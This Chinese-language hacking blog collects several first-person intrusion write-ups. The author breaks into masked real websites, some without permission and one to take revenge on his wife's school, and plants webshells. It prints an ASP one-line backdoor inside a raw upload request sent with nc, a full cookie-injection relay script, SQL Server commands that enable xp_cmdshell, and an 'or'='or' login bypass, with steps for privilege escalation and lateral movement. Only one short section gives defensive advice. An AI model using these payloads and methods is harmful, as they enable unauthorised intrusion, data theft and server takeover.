无恶意，无破坏，无缘由的XXOO了一下黑色小亮的博客。
目标：www.blackxl.org
信息：博客程序是最新版的WordPress
直接搞目标站肯定是没搞头的了，所以只能跨站了。
查到不少同服务器的站点，当然，有些站点的域名早就已经指向别处了，所以下一步行动之前一定要先ping一下看看是否是目标服务器。
经逐一排查（站挺多的，比较费时间。）在WVS发现http://xxx.com/存在盲注且该站是用Java开发的，于是乎开始注入…
阅读全文>>

事情是这个样子的：老婆在这家学校里实习，说给涨工资一直没涨，把俺老婆气的就对我说：“老公，你去把这学校的网站黑了吧！给我出出气！”（⊙﹏⊙b汗~我又不是黑阔！多大的人了！还跟小孩一样！）（但是你是搞计算机的呀！）
阅读全文>>

自己简单总结的，可能还不够完善，日后慢慢补充。

1.弱口令漏洞

解决方案：最好使用至少6位的数字、字母及特殊字符组合作为密码。数据库不要存储明文密码，应存储MD5加密后的密文，由于目前普通的MD5加密已经可以被破解，最好可以多重MD5加密。

2.未使用用户名及密码登录后台可直接输入后台URL登录系统。

解决方案：通过配置filter来过滤掉无效用户的连接请求。

3．JSP页面抛出的异常可能暴露程序信息。有经验的入侵者，可以从JSP程序的异常中获取很多信息，比如程序的部分架构、程序的物理路径、SQL注入爆出来的信息等。

解决方案：自定义一个Exception，将异常信息包装起来不要抛到页面上。

4.合法用户“注销”后，在未关闭浏览器的情况下，点击浏览器“后退”按钮，可从本地页面缓存中读取数据，绕过了服务端filter过滤。
阅读全文>>

几天前帮朋友检测他们的网站时候，顺便看了看C段上的服务器，发现了一个FTP弱口令，FTP用的是Serv-U6.3，WEB用的是IIS7.0，远程终端连接上去看到是Windows Server 2008。 阅读全文>>

由于去年年底项目一期结束了，正在等客户的需求及使用情况的反馈，所以也就没啥事干。看了看PHP，感觉没啥学的，写了个连接MYSQL的增删改查，我就不知道该干啥了，所谓语言是相通的，读和写基本都没问题，特有的方法或函数则查查API文档即可，但是用则需要熟练度，或许这就是学习的枯燥与乏味吧。 n:-hd
接着帮一个哥们有偿检测了他们的网站，一年没接触过这方面了，不过还好网站比较弱智，几分钟搞定 n:-hx 。
网站是用asp开发的，生成静态页面，当然也有动态页面，不过都做了防注入，Cookies注入也行不通。

现在越来越喜欢火狐浏览器了，网页图片上右键，选择“查看图片信息”，它把当前页面中所有图片的路径都列出来，我一般通过这个来找有没有用第三方编辑器及其路径，很可惜没发现，手工猜了几个也没有找到。

查看图片信息

找到了后台目录是manage，不过就是找不到页面（找到也没密码 n:-gg ）。
网站中有些栏目是二级域名绑定的，有个BBS是DZ7.0的，貌似刚刚上架，一个注册人都没有，不过我也没找到DZ7.0的可利用漏洞。
另一个二级域名下，找到后台admin/admin_login.asp，能试的都试了，放弃。再次查看该栏目下的图片信息，感觉ewebditor有希望了，猜出地址为editor/admin_default.asp。

查看图片信息

一切都是默认的，所以拿到webshell是很正常的。权限都还是很严的，Serv_u6.0，提权失败，43958端口开着，应该是把默认的用户名或密码改了，有wscript但是没用，自己找目录传CMD上去也没用，支持PHP，但是权限也没什么改变。找到数据库连接文件conn.asp，得到一个普通的sql用户，构造了一个注入点然后放到Pangolin里面跑了下，列目录时在D盘中发现了Serv_u，看到ServUDaemon.exe有备份，看来确实把默认值改了。

Pangolin

Pangolin

接着找到主站的目录，backup log了一个一句话，传了个大马上去，OK，结束，拿到外快了，不继续了。

某个朋友在QQ上给我诉苦，他说自己的网站老被人挂马，他把发现的漏洞基本上都补上了，然后又把网站所在的目录全部杀了一边毒，但是过了几天又被挂马了。我问他是否服务器被人拿下了？他很肯定的说没有，我又问他确定网站中不存在免杀的后门了或者一句话后门？他也说肯定没有。
我检查了一下，结果确实像他说的那样。可是，不可能呀！那人有那么神，那么牛X？想来想去，突然想到网站根目录下的CERT目录我还没有检查，我问他是否检查了这个目录，他说那个放备案文件的，没在意。结果我打开一看，发现有个命名为CONN.ASP的文件，从命名来看是网站的数据库连接文件，可是谁会把这文件放到CERT下面呢？结果用记事本打开看到的就是一句话后门。o(╯□╰)o
CERT目录本来是用来放备案文件的，而且一般只放一个备案文件，我想大多数时候都不会有人去注意这个目录吧，估计从放了这个备案文件后几百年都不会有人去再看它第二眼了吧。

难道我最近真的是人品爆发了？竟然一个接一个全都搞定了，且各个都出乎我的意料之外。好了，不废话了，记录一下这次是如何抓包-》改包-》上

传-》拿到WEBSHELL的。
经过仔细分析，这个网站无论从主站还是分站都不存在任何注入漏洞，当然这种网站不用说使用的是MSSQL数据，也就谈不上找到ACCESS数据库下载了

，更没找到管理后台页。

那就注册一个用户进去看吧这里的注册一共可以选择3种用户类型：普通会员、讲师会员、机构会员。注册的时候网页上有提示哪个角色有什么样的权

限。3个我都注册了一次，分析得出普通会员与讲师会员都没可能性，机构会员可以上传培训资料，然而注册后需要人工审核，所以估计没戏了。
逛完他的网站再接着逛论坛，论坛采用的是DVBBS8.0版，至于是MSSQL还是ACCESS暂不知道，不过从感觉上来说，应该是ACCESS的数据库。BBS的管理

后台可以访问，默认数据库名被改，默认管理帐号及密码都登录失败。DVBBS8.0的远程注入漏洞也宣告失败。
至此，我觉得这站真的是无敌了（对我来说）。于是丢给别人去研究了，没想到没过2个小时，他就拿到WEBSHEL了，当然人家也没告诉我是怎么弄的

，因为我们不认识。我靠~搞笑啊，我没那么弱吧？怎么可能别人都能搞定我就不行呢？我是不是有啥没想到的？赶紧反省一下…
分析来分析去，我觉得问题一定还是出在机构会员那里，可是注册后还得24小时后人工审核，他不可能2个小时就搞定的呀…
注意观察了一下，有了一点小发现：某些页面所在的URL是类似这种格式的：
http://www.xxxx.com/xxx/*****/index.asp
其中*所代表的是一些很没有规律的字符，仔细分析之下发现这些字符就是注册时的用户名！O(∩_∩)O哈哈~有没有想到点什么呀？好先放着，我们后

面用。从这里我们也就知道了一些已经通过审核的机构名，那么我们猜一猜看有没有弱口令的，比如用户名和密码一样啊，密码是123456啊什么的。

经过多次尝试，最后终于被我发现了一个用户名与密码一样的。
登录进去之后，发现有两处可以上传文件，第一处是更改自己的企业LOGO，另一处是可以上传与课程相关的图片。第一处过滤的很严格，第二处经过

测试发现对上传文件进行处理的文件已经被删除了，这里我猜测是那个2个小时入侵进去的人所为。那么对我来说唯一的希望就寄托在第一处了，过滤

比较严格，那么就先传个正常的图片文件看看返回什么效果吧。上传成功后返回的路径是这样的：
UploadImg/***/20081010201.jpg
这里的*所代表的依旧是注册时的用户名！O(∩_∩)O哈哈~再结合上面的小发现，是不是更觉得有意思了？我们可以注册一个用户名后三位是“.asp”

的，然后传个图片上去，由于IIS的解析BUG，这个.asp用户名目录下的所有文件都被解析成asp并执行了。
可是刚注册的机构会员不是要审核吗？这不就又得等了吗？嗯，起初我也是这么想的，可是测试之后我发现只要注册了，无论是否已审核都会创建那

个目录。
好，思路已经清晰了，是时候该实践了。在上传LOGO那里右键查看原文件，搜索action发现它的值是这样的：
uppic.asp?picurl=pic&file_ad=UploadImg/****
这里的*就不需要我再解释了吧？试试将这里的用户名更改为neeke.asp并将URL补全，接着把这个页面保存成本地html，然后打开这个本地html页面上

传一个后缀改为jpg的asp后门，上传结果是失败！是不是要疯了？难道这就是理论与实践的差距？
接下来才是今日的主题，虽然不知道为什么会失败，不过也是意料之内的。重新上传一次（不是使用前面的本地html）并打开WSockExpert进行抓包。

抓到的数据包如下：

POST /upload/uppic.asp?picurl=pic&file_ad=UploadImg/**** HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-silverlight,

application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.xxxxx.com/xxxx/upload/uppic.asp?picurl=pic&file_ad=UploadImg/****
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=—————————7d89c6100702
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: www.xxxxx.com
Content-Length: 356
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCBQDTRD=CBDAOFCDOKNKAFBGOJIELFBL; StatUserID=; geturl=%2Fbbs%2Findex%2Easp%3Fboardid%3D19; upNum=0;

cck_lasttime=1227791151328; cck_count=0; cnzz_a723913=148; vw=%3A21294148%3A56594595%3A24657327%3A74573309%3A50974716%3A50987662%

3A37122531%3A67808458%3A70586579%3A70604138%3A28852802%3A47119284%3A76191357%3A37126954%3A51284925%3A52364933%3A38661202%

3A74790164%3A70610751%3A72013662%3A73415389%3A76191358%3A49587472%3A43119978%3A-251370864%3A73388968%3A70611921%3A73384211%

3A32870242%3A37063863%3A32420673%3A53783557%3A72013663%3A65003880%3A70588081%3A66406723%3A57972621%3A73406321%3A60801952%

3A40826249%3A39695629%3A49578341%3A59386483%3A41111789%3A25224022%3A69210191%3A53796330%3A38456400%3A62172134%3A29259370%

3A36499102%3A46949182%3A32361261%3A31862738%3A79674658%3A34731608%3A102446092%3A36507283%3A81784150%3A86027646%3A81809181%

3A74781075%3A72012436%3A80383143%3A83227606%3A76186399%3A81784130%3A77581333%3A73399009%3A78982247%3A73385225%3A78982193%

3A88833998%3A87432179%3A74816111%3A; sin=-1; rtime=2; ltime=1227806311218; cnzz_eid=67318861-1227622346-; tab=4; Dvbbs=;

ystat_bc_809970=28764444891124193035; ystat_ss_809970=26_1227833988_1259315693

—————————–7d89c6100702
Content-Disposition: form-data; name="FileName"; filename="D:\WEBSHELL\yjh.jpg"
Content-Type: text/plain

<%
On Error Resume Next
execute request("a")
%>

—————————–7d89c6100702
Content-Disposition: form-data; name="Submit"

上传截图
—————————–7d89c6100702–

将上面的数据包中的****更改为neeke.asp并保存为txt到同nc在一个目录下（名字可任意,这里为neeke.txt）。接下来进入DOS，在nc所在的目录输入
nc -vv www.xxxxx.com 80<neeke.txt
稍等几秒就会返回数据提交结果。本次提交返回的结果如下图。

OK,搞定了！嘿嘿~~看来我以后还得更加细心的分析才是啊！有再牛X的技术，没有好的头脑，你也是笨牛一个。

还是第一次遇到数据库服务器与WEB服务器分离的情况，刚打开网站的时候觉得挺吓人的，因为觉得这样的大网站对我来说根本无懈可击，等搞定之后再回过头来看，还是觉得是那么的不可思议。
目标：www.xxxx-xxxxxx.com
绝大多数页面都是纯静态的，ASP的很少，不过既然有，那么就要检查一下是否存在注入。检查完所能找到的ASP页面，仅发现了一个注入点。
http://www.xxxx-xxxxxx.com/xxxx/show.asp?userid=107045&id=522

检测结果是MSSQL数据库，权限为DB_OWNER。看到这种情况，第一个想法就是列出网站目录，然后备份数据库LOG得WEBSHELL。经过尝试后失败，根本列不出目录来。
第二个想法，找出管理员信息表，然后查出管理员帐号及密码，登录网站后台寻找办法拿WEBSHELL。
结果顺利的从admin表中发现了37条记录，也就是说有37个管理员哇…头一次见这么多…列了16条我就不在列了，因为感觉已经够用了，O(∩_∩)O哈哈~

有个用户的密码是07ff7c1db094deb9dcf9ddf6bec9e605，在线破解失败。
其他用户的密码都是21218cca77804d2ba1922c33e0151105，破解后的密码是888888。
在网站首页顶部直接就有通往后台的链接。

使用用户名和密码登录结果却是失败，连换了几个帐号都是失败。难道数据库搞错了？数据表错了？好好想了想，这时突然看到登录页的TITLE写着“员工登录”，眼前一亮，一般公司里面都是有员工工号的，那么刚才的字段中有一列的名字是userid，我们若把它理解为员工工号和登录页的用户名会是什么样子？
按照这个思路重新尝试登录，毫无悬念的登录成功了。可是这里的后台并不是我所想想的，左边一棵权限树，右边用来展示操作。对各个模块的功能逐一浏览后，并没有发现任何可以获取WEBSHELL的方法。

OK，再想一想一个网站为什么要有这么多的管理员呢？这时我联想到了我前段时间做的ASP.NET[毕业设计CRM系统] ，当然是为了管理方便，且每个管理员所拥有的权限是不一样的。想清楚了我们就知道下一步该怎么走了。我们再逐一登录其他管理帐号看看。换了一个帐号登录后，后台所显示的能够操作的功能更多了。看来思路正确。

这次一眼就看中了资源中心管理这个栏目，为什么呢？想一想“资源管理”，那么肯定是会提供要上传或者下载的功能吧，当然这里也可以说是纯属瞎猜，O(∩_∩)O哈哈~。
打开之后又接着点了一个添加新资源，然后就打开了个如下图的页面。可以上传资源文件，没错吧？

通过这里直接成功上传了一个ASA文件，看样子是可以上传任何文件，可怕啊…
WEBSHELL已经拿到了，可以说已经算入侵完毕了，不过在查看数据库连接字符串的时候，我发现它的数据库在内网的另一台机子上。我还没搞过数据库与网站分离的，这次小试一把。于是自己手工上传了一个CMD.EXE，再次执行OK!不过问题又是不能执行添加管理的命令等等。再次放出Churrasco.exe，执行成功。

这台服务器开启了远程终端，所以也就顺利的登录到了服务器中。

好！接下来搞定数据库服务器。从连接字符串来看数据库服务器的局域网IP为192.168.10.9。用户名（非SA）和密码都比较复杂，一般我看到密码若比较复杂的话，那么其SA密码也有极大的几率是这个密码，因为密码复杂了不好记！偷懒的行为，O(∩_∩)O哈哈~
帐户使用SA，密码用查出来的密码，数据库选择master然后连接192.168.10.9上的数据库，结果当然是连接成功啦！（不知道这算不算是社工？）也证明管理员偷懒了！O(∩_∩)O哈哈~
好，接着执行存储过程提权，exec xp_cmdshell ‘这里写DOS命令’

啊哦…看看提示什么了，从这个提示来看，数据库不是SQL Server 2000而是SQL Server 2005，SQL Server 2005默认情况下是不允许调用xp_cmdshell的，需要手工开启。恰好最近一直在用SQL Server 2005，某天没事干的时候又翻了翻相关的文档，这下正好用到了。
执行EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;即可开启。
启用之后又顺利的通过xp_cmdshell添加了超级管理员。进到刚才刚才拿到的WEB服务器，然后再用终端连接内网的192.168.10.9这台机子，再次登录成功！

至此，入侵结束。WEB服务器与数据库服务器均已被控制。又是一篇没有技术含量的入侵过程，不过还是那句话，思路决定出路。

目标是一个N个月之前就搞定过的一个站点，当时搞定它很简单，就是注入备份得WEBSHELL。这次由于某种原因又需要尝试一次。由于N久没看过这个网站了，打开后发现整个网站全部改版了，已经不再是之前的那套程序了，首页一眼望去全是HMTL网页，这下没法注了…还是尝试百度一下吧。

打开百度搜索：ASP www.xxx.org

目前世面上大部分防注入程序都没有对cookie注入进行预防，虽然cookie手工注入麻烦了点，但对于有耐性的人来说，还是可以得到后台密码的，如果是MSSQL数据库，那么就更简单了。所以本文的目的就是用工具来代替手工进行cookie注入~~，手工方法如下：比如网址如下http://zzz.com/cplb.ASP?id=46，对GET以及POST提交的数据都进行了检测，也没办法饶过。首先打开上面的地址，再清空地址栏，输入javascript:alert(document.cookie="id="+escape("46 and 1=2"))，再输入http://zzz.com/cplb.ASP，页面返回错误，说明有希望；提交javascript:alert(document.cookie="id="+escape("46 and 1=1"))，最后输入http://zzz.com/cplb.ASP，这次返回完全正常；可以确定存在cookie注入。以下代码来自寂寞的刺猬[L.S.T]，脚本高手啊~~

<%cookname=request("jmdcw")cookname=escape(cookname)jmstr="id="&cookname      '存在注入的变量jmstr=replace(jmstr,chr(32),"%20")jmstr=replace(jmstr,chr(43),"%2b")'//以下三行需要修改，Cookies值可以用Domain3.5浏览下就得到了~~jmurl="http://zzz.com/cplb.ASP" '存在注入的网址jmref="http://zzz.com/index.ASP" '来源地址jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"jmcok=jmcok& ";"&jmstr&";"response.write postdata(jmurl,jmcok,jmref)function postdata(posturl,postcok,postref)dim httpset http=server.createobject("msxml2.serverxmlhttp")with http.open "POST",posturl,false.setRequestheader "content-type","application/x-www-form-urlencoded".setrequestheader "referer",postref.setrequestheader "cookie",postcok        '提交cookie值.send()        '发送数据postdata=.responsebody          '得到返回的二进制信息end withset http=nothingpostdata=bytes2BSTR(postdata) '转换二进制流end functionfunction bytes2BSTR(vin)dim strReturndim i,thischarcode,nextcharcodestrReturn=""for i=1 to lenB(vin)thischarcode=ascB(midB(vin,1,1))if thischarcode<&H80 thenstrReturn=strReturn&chr(thischarcode)elsenextcharcode=ascB(midB(vin,1+1,1))strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))i=i+1end ifnextbytes2BSTR=strReturnend function%>

保存为jmdcw.ASP，最后可以本机装个IIS或绿色的ASPsrv.exe，那么注入地址就是http://127.0.0.1/jmdcw.ASP?jmdcw=46
直接用工具就OK了。
经过测试我发现的注入点http://www.xxx.org/xxx/xx/sList.ASP?classid=47存在文中所说的漏洞，于是在自己的虚拟机里按照文中所述方法进行试验。
等了几分钟才终于显示出可以注入的迹象。
看到权限是DB_OWNER一下子就觉得胜利在即了，赶紧找WEB路径。不知道为什么当罗列目录的时候就直接卡到那半天不动了，以为是自己机子和网速的问题，于是放到台服务器上面去跑，可是结果同样没反应，至此决定另寻他法了。
记得当初这个服务器上只有这么一个网站，不知道过了这么久有没有新增什么网站上去。于是ping域名得到服务器IP，先习惯性的直接在浏览器中访问了一下服务器的IP，结果弹出一个英文网站来，一看是ASP的便立刻动手找注入，检查完所能发现的所有链接结果找到了一个注入点。利用这个注入点顺利的列出了目录并找到了目标站所在的物理目录。这下该可以备份到WEBSHELL了吧！可是执行了N便备份，在目录中均未备份出SHELL来，普通备份和LOG备份结果都是一个样。晕倒…没办法，再换一个思路吧。
刚才列出的目录中看到了很多个以域名命名的文件夹，有经验的人都应该知道这个是部署网站的一些习惯，也就是说这些网站也是运行在这台服务器上的。那么目前我们主要的任务就是拿到一个WEBSHELL了。一个个的翻了一下这些文件夹，发现其中一个网站使用了ewebeditor且一切都是默认的，可是访问其登录页时却是一片空白，看样子是文件在但是内容被删了。一条入侵途径又没了，再换…
跨库直接查目标站的管理帐号和密码吧，然后从它后台看看有没有办法搞到WEBSHELL，可是结果却是什么表都查不出来。这个库不行那就换一个网站的库，只要能拿到当前服务器上任何一个网站的SHELL就行。经过耐心等待，终于查出了另一个站的9个管理帐号和及密码，然而密码能破出来的只有那么几个，经过逐一登录测试，发现均无法得到WEBSHELL。至此再次失败，继续换思路。
漫无边际的翻着网站目录，突然发现有一站点是ACCESS数据库，并找到数据库文件的路径。直接URL访问数据库之后发现提示下载，管理员表中仅有一条数据，得到MD5加密后的密码，在线破解再次失败。
服务器上算上目标站共有4个站，又一次郁闷的逐一浏览着这4个站点的各个页面。突然想到在管理登录页用’or’=’or’登录试试，结果在刚才那个用ACCESS做数据库的网站中成功登录到后台…真是头大了…之前害我那么费事…
进入后台后通过上传图片失败，也没有数据库备份。这时，那个红色的模板管理引起了我的兴趣，点开一看，兴奋啊！可以添加、编辑、删除…ASP文件。通过这里顺利的拿到了WEBSHELL。
大概浏览了一下环境。
1. C盘可浏览（某些文件夹除外），不可写，不可复制等。
2. 当前站点目录可浏览（汗~这不废话）。
3. 不可执行CMD，WSCRIPT.SHELL未删除。
4. Serv_u为6.0版，端口也开放了，但提权失败。
几经测试认为没戏了，但看到有ASP.NET用户组，于是传了个ASPX上去。唯独可以执行一些DOS命令，whoami返回信息为nt authority\network service，又遇到了可以执行命令但是不能加帐户的问题，于是上传了最近刚出的Churrasco.exe（Churrasco提权可参考http://www.ineeke.cn/archives/ChurrascoHackerTool/），本来把握十足，可是执行后什么也没显示，看来是失败了。
这时想起来了CACLS，（CACLS提权方法可参考http://www.ineeke.cn/archives/302/）尝试让everyone组拥有所有权限，执行结果看上去好像是失败了。此时我可真是没辙了，关了浏览器闲聊了一会QQ，过了一会又登了进去，再次翻翻所能浏览的目录，想找找有没有管理员疏忽留下的什么东西，有点烦了，手点的快了点，点到了该站点的父目录，之前试的时候是没戏的，这时令我意想不到的事发生了，竟然成功跳进去了，哇哦，貌似我的人品突然爆发了，也可能是长相问题。看到了目标站的目录，小心翼翼的点了一下它，结果也进去了，抓紧时间赶紧扔进去了一个SHELL。至此，此次入侵任务算是成功完成，有人说那还有系统权限呢，可是我们这次的最终目的仅仅只是要目标站的WEBSHELL。
此次入侵中并未使用什么很牛X的技术，关键在于思路，当然还需要一定的运气。